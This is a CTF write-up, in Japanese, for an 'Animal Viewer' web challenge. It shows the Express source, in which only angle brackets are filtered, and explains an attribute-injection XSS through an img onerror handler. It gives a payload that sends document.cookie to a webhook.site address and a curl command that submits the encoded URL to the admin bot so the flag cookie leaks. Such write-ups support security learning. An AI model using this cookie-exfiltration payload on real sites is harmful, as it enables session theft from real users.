Challenge

🦙🐻🐈️🐕️🐘

Challenge: http://34.170.146.252:8409, Admin bot: http://34.170.146.252:9023

const html = `
<!DOCTYPE html>
<html>
  <body>
    <h1>Animal Viewer</h1>
    <ul>
      <li>
        <a href="/?animal=alpaca">Alpaca</a>
      </li>
      <li>
        <a href="/?animal=bear">Bear</a>
      </li>
      <li>
        <a href="/?animal=cat">Cat</a>
      </li>
      <li>
        <a href="/?animal=dog">Dog</a>
      </li>
      <li>
        <a href="/?animal=elephant">Elephant</a>
      </li>
      <img src="/[ANIMAL].png">
  </body>
</html>
`;

app.get("/", async (req, res) => {
    const animal = req.query.animal || "alpaca";

    // no html tag!
    if (animal.includes("<") || animal.includes(">")) {
        return res.status(400).send("Bad Request");
    }

    const page = html.replace("[ANIMAL]", animal);
    res.send(page);
});

app.listen(3000, () => {
    console.log('Server listening on port 3000');
});

Solution

admin botに用意されたAPI(/api/report)をたたくとbotが指定したurlを巡回します。

今回の問題は、xssを仕込んだurlをadmin botに踏ませ、adminのcookie(flag)をリークさせることが目的です。

ソースを読んでみると、クエリに応じて

<img src="/[ANIMAL].png">の[ANIMAL]を置換しているようです。

方法はいくつか考えられますが、今回はimgタグでonerrorを使ったXSSを考えます。

次のような置換をすると、任意のサイト(例ではwebhook)にcookieを送ることになります

" onerror="new Image().src='<https://webhook.site/~~~~?c='+encodeURIComponent(document.cookie)>" x="

置換後は以下のようになります。

<img src="/" onerror="new Image().src='<https://webhook.site/~~~~?c='+encodeURIComponent(document.cookie)>" x=".png">

これをURLエンコードして投げます。

Final Script

curl -s -X POST <http://34.170.146.252:61625/api/report> \\
  -H 'Content-Type: application/json' \\
  -d '{"url":"<http://animal-viewer:3000/?animal=%22%20onerror%3D%22new%20Image().src%3D%27https%3A%2F%2Fwebhook.site%2F5b99c42c-10f9-407e-b947-889942d7cffd%3Fc%3D%27%2BencodeURIComponent(document.cookie)%22%20x%3D%22>"}'